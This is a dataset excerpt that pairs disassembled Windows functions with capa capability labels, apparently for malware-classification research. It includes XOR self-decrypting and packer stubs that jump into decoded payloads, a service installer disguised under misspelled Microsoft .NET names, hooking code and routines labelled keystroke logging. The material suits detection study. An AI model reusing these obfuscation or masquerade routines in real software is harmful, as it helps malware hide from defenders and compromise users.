joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d73f
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d73f
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d73f
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d73f
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d73f
mov dword [0x41203c], eax
call fcn.0040d73f
test eax, eax
jge 0x402550
push 8
call fcn.0040d73f
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d73f
pop ecx
push 1
call fcn.0040d73f
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d73f
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d73f
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d73f
jmp 0x402495

Function at 0x40d73f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40d74e
pop dword [ebp - 0x10]
mov eax, 0x40d74e
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x34f0f
push 0
mov eax, 0xb73e6101
add eax, 0x49027fd7
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x4265d9f7
sub ecx, 0x4265a309
xor edx, edx
add edx, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x10]
mov esi, 0x211cf0f6
xor dword [ebp - 0xc], 0x90333de0
mov ebx, dword [edi]
sub dword [ebp - 4], 0x6d0a5a2d
add ebx, esi
mov dword [ebp - 0xc], 0x20e1eae0
mov dword [edx], ebx
sub dword [ebp - 4], 0xb1e7d9ed
add edx, 0x5143953b
sub edx, 0x51439537
add edi, 0xb447254b
add edi, 0x4bb8dab9
loop 0x40d79e
add eax, 0x5948ebee
add eax, 0xa6b7e29d
mov ebx, eax
add eax, 5
mov ecx, 0x84c74e90
add ecx, 0x7b78b170
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10006887
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000fd60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.10003c38
mov dword [ebp - 0x14], eax
cmp dword [0x10010884], edi
jne 0x10006978
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10006905
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10006a58
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10006a58
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10006a58
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x10010884], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10010888], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x1001088c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10010894], eax
test eax, eax
je 0x10006975
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10010890], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1000699d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10006990
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x100069b2
push 4
pop eax
jmp 0x10006a5a
cmp dword [ebp - 0x14], edi
je 0x100069b2
push dword [0x10010884]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10006997
mov eax, dword [0x10010890]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10006a10
cmp dword [0x10010894], esi
je 0x10006a10
push eax
call ebx
push dword [0x10010894]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10006a10
test eax, eax
je 0x10006a10
call ecx
test eax, eax
je 0x10006a05
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10006a05
test byte [ebp - 8], 1
jne 0x10006a10
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10006a40
mov eax, dword [0x10010888]
cmp eax, esi
je 0x10006a3d
push eax
call ebx
test eax, eax
je 0x10006a3d
call eax
mov edi, eax
test edi, edi
je 0x10006a3d
mov eax, dword [0x1001088c]
cmp eax, esi
je 0x10006a3d
push eax
call ebx
test eax, eax
je 0x10006a3d
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x10010884]
call ebx
test eax, eax
je 0x10006a58
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x10006a5a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005da2
leave
ret
Function at 0x408920
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.0040893a
xor dword [ebx], edx
inc ebx
cmp ebx, eax
jne fcn.00408920
sub ecx, edi
ret
Function at 0x1017c75d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1017c79c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1017c79c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1017c79c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1017c79c
cmp dword [ecx + 0x74], 0xe
jbe 0x1017c79c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1017f44d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1017f4ea
push ebx
push esi
call fcn.1017f416
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1017f3aa
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1017f497
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1017f4e9
push edi
push eax
call fcn.1017d3ed
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1017f4b7
call fcn.1017d43b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1017f4e8
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1017f3aa
add esp, 0x20
test eax, eax
jne 0x1017f4d6
push edi
call fcn.1017d43b
jmp 0x1017f4de
push ebx
call fcn.1017d43b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1017f757
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10187960
push 0x10187958
push str.FlsAlloc
push 0x1f
call fcn.1017f673
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1017f78b
push dword [ebp + 8]
mov ecx, esi
call dword [0x10186120]
call esi
jmp 0x1017f791
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1017f7d5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10187970
push 0x10187968
push str.FlsGetValue
push 0x21
call fcn.1017f673
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1017f80c
push dword [ebp + 8]
mov ecx, esi
call dword [0x10186120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1017f814
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10187978
push 0x10187970
push str.FlsSetValue
push 0x22
call fcn.1017f673
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1017f84e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10186120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10184e90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10184ebd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10184ebd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x408936
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
and ecx, ecx
call fcn.0040895d
xor dword [ebx], esi
add ebx, 1
and ecx, eax
mov ecx, 0x5dc338c0
cmp ebx, edi
jne fcn.00408936
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000c455
pop dword [ebp - 0x50]
mov eax, 0x1000c455
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3aef9
push 0
mov eax, 0x3fc6956e
add eax, 0xd03aaaf6
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4fd7
xor ebx, ebx
add ebx, eax
mov esi, 0xee67ed0e
sub esi, 0xde66670e
add esi, dword [ebp - 0x50]
mov edx, 0x2c3b687f
add edx, 0x73900a0
mov dword [ebp - 0x48], 0xabd542e8
mov edi, dword [esi]
mov dword [ebp - 0x24], 0x60f81d4f
xor edi, edx
add dword [ebp - 0x2c], 0xfe23fa3f
mov dword [ebx], edi
add ebx, 4
add esi, 0x9a3199ca
sub esi, 0x9a3199c6
loop 0x1000c4ab
add eax, 0x41ead25e
sub eax, 0x41e9a02f
xor ebx, ebx
add ebx, eax
add eax, 0xabd1184b
sub eax, 0xabd11846
mov ecx, 0x950bbc93
sub ecx, 0x850bbc93
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1000c871
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp esi, 0x7ff80000
jbe 0x1000c892
lea edi, [esi - 0x7ff80000]
cmp esi, 0x80000000
jb 0x1000c897
mov ebx, 0xfff80000
jmp 0x1000c89d
mov edi, 0x10000
lea ebx, [esi + 0x7ff80000]
mov edx, dword [0x10013e68]
mov eax, dword [0x10013e60]
test edx, edx
jne 0x1000c8b8
test eax, eax
je 0x1000c8cb
mov edx, eax
mov dword [0x10013e68], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x1000c8cb
cmp ecx, edi
jb 0x1000c8cb
cmp ecx, ebx
jbe 0x1000c9ab
mov edx, eax
test eax, eax
jmp 0x1000c8ed
test edx, edx
je 0x1000c8e8
mov eax, dword [edx + 8]
test eax, eax
je 0x1000c8e8
cmp eax, edi
jb 0x1000c8e8
cmp eax, ebx
jbe 0x1000c9ab
mov edx, dword [edx + 4]
test edx, edx
mov dword [0x10013e68], edx
jne 0x1000c8d1
and esi, 0xffff0000
mov eax, 0x40000000
cmp esi, eax
jbe 0x1000c9d0
lea edx, [esi - 0x40000000]
mov ecx, edi
call fcn.1000c446
mov edx, eax
test edx, edx
jne 0x1000c971
mov eax, 0x40000000
cmp esi, eax
jbe 0x1000c93e
lea ecx, [esi - 0x40000000]
mov edx, esi
call fcn.1000c446
mov edx, eax
test edx, edx
jne 0x1000c971
mov eax, 0x40000000
cmp esi, eax
jae 0x1000c953
lea edx, [esi + 0x40000000]
mov ecx, esi
call fcn.1000c446
mov edx, eax
test edx, edx
jne 0x1000c971
mov edx, esi
mov ecx, edi
call fcn.1000c446
mov edx, eax
test edx, edx
jne 0x1000c971
mov edx, ebx
mov ecx, esi
call fcn.1000c446
mov edx, eax
test edx, edx
je 0x1000c9ee
xor ecx, ecx
mov dword [edx], 0x52727464
mov dword [edx + 8], ecx
mov esi, 0x38b
mov eax, dword [0x10013e60]
mov dword [edx + 4], eax
lea eax, [edx + 0xffa8]
mov dword [0x10013e68], edx
mov dword [0x10013e60], edx
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x48
sub esi, 1
jne 0x1000c99b
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, edi
jb 0x1000c9ee
cmp esi, ebx
ja 0x1000c9ee
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.1000ec20
add esp, 0xc
mov eax, esi
jmp 0x1000c9f0
jae 0x1000c920
lea ecx, [esi + 0x40000000]
mov edx, ebx
call fcn.1000c446
mov edx, eax
test edx, edx
jne 0x1000c971
jmp 0x1000c940
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x1000ca7b
Capabilities:
Resume thread

Disassembly:
push ebx
push edi
mov edi, dword [0x10013e58]
xor ebx, ebx
test edi, edi
je 0x1000cab8
push esi
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1000caa9
mov esi, dword [edi]
push edi
call fcn.1000dd99
mov edi, esi
pop ecx
test esi, esi
jne 0x1000ca8a
jmp 0x1000cab7
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov dword [0x10013e70], ebx
pop esi
mov dword [0x10013e58], edi
mov eax, ebx
pop edi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100033be
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003415
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x10003407
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x10003403
cmp edi, eax
jae 0x10003407
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x100033f5
cmp edi, eax
jb 0x1000340b
xor eax, eax
jmp 0x10003414
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x100041cb
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 0xa
push ebx
push edi
jne 0x10004304
push dword [esi + 0x60]
mov edi, dword [sym.imp.USER32.dll_KillTimer]
push dword [esi + 4]
call edi
and dword [esi + 0x60], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esi + 0x64]
je 0x10004221
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x58]
test eax, eax
je 0x1000420a
push eax
push dword [esi + 4]
call edi
push 0
push 0x32
push 0xb
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x58], eax
jmp 0x100042f0
lea eax, [ebp - 0x10]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [sym.imp.USER32.dll_MonitorFromPoint]
push 2
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call edi
mov ebx, dword [sym.imp.USER32.dll_GetMonitorInfoW]
lea ecx, [ebp - 0x58]
push ecx
push eax
mov dword [ebp - 0x58], 0x28
call ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push 2
push dword [ebp - 4]
push dword [ebp - 8]
call edi
lea ecx, [ebp - 0x58]
push ecx
push eax
mov dword [ebp - 0x58], 0x28
call ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.USER32.dll_PtInRect]
push dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
je 0x100042ac
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push dword [ebp - 8]
push eax
call edi
test eax, eax
jne 0x100042f0
mov eax, dword [esi + 0x58]
test eax, eax
je 0x100042bd
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov edi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x32
push 0xb
push dword [esi + 4]
call edi
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x5c]
test eax, eax
je 0x100042e2
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0x32
push 0xc
push dword [esi + 4]
call edi
mov dword [esi + 0x5c], eax
push 0
push 0x64
push 0xa
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x60], eax
jmp 0x10004362
cmp dword [ebp + 8], 0xb
jne 0x10004362
push dword [esi + 0x58]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov ebx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
and dword [esi + 0x58], 0
push 1
call ebx
mov edi, 0x8000
mov ecx, edi
and ax, cx
cmp ax, cx
je 0x10004350
push 2
call ebx
mov ecx, edi
and ax, cx
cmp ax, di
je 0x10004350
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x10004362
push 0
push 0x64
push 0xb
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x58], eax
mov eax, dword [ebp + 0xc]
pop edi
mov dword [eax], 1
xor eax, eax
pop ebx
leave
ret 8
Function at 0x1000614c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 0xa
push ebx
push edi
jne 0x10006285
push dword [esi + 0x28]
mov edi, dword [sym.imp.USER32.dll_KillTimer]
push dword [esi + 4]
call edi
and dword [esi + 0x28], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esi + 0x34]
je 0x100061a2
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x1000618b
push eax
push dword [esi + 4]
call edi
push 0
push 0x32
push 0xb
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x2c], eax
jmp 0x10006271
lea eax, [ebp - 0x10]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [sym.imp.USER32.dll_MonitorFromPoint]
push 2
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call edi
mov ebx, dword [sym.imp.USER32.dll_GetMonitorInfoW]
lea ecx, [ebp - 0x58]
push ecx
push eax
mov dword [ebp - 0x58], 0x28
call ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push 2
push dword [ebp - 4]
push dword [ebp - 8]
call edi
lea ecx, [ebp - 0x58]
push ecx
push eax
mov dword [ebp - 0x58], 0x28
call ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.USER32.dll_PtInRect]
push dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
je 0x1000622d
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push dword [ebp - 8]
push eax
call edi
test eax, eax
jne 0x10006271
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x1000623e
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov edi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x32
push 0xb
push dword [esi + 4]
call edi
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x30]
test eax, eax
je 0x10006263
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0x32
push 0xc
push dword [esi + 4]
call edi
mov dword [esi + 0x30], eax
push 0
push 0x64
push 0xa
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x28], eax
jmp 0x100062f9
cmp dword [ebp + 8], 0xb
jne 0x100062d6
push dword [esi + 0x2c]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov ebx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
and dword [esi + 0x2c], 0
push 1
call ebx
mov edi, 0x8000
mov ecx, edi
and ax, cx
cmp ax, cx
je 0x100062c2
push 2
call ebx
mov ecx, edi
and ax, cx
cmp ax, di
jne 0x100062ec
push 0
push 0x64
push 0xb
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x2c], eax
jmp 0x100062f9
cmp dword [ebp + 8], 0xc
jne 0x100062f9
push dword [esi + 0x30]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
and dword [esi + 0x30], 0
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [ebp + 0xc]
pop edi
mov dword [eax], 1
xor eax, eax
pop ebx
leave
ret 8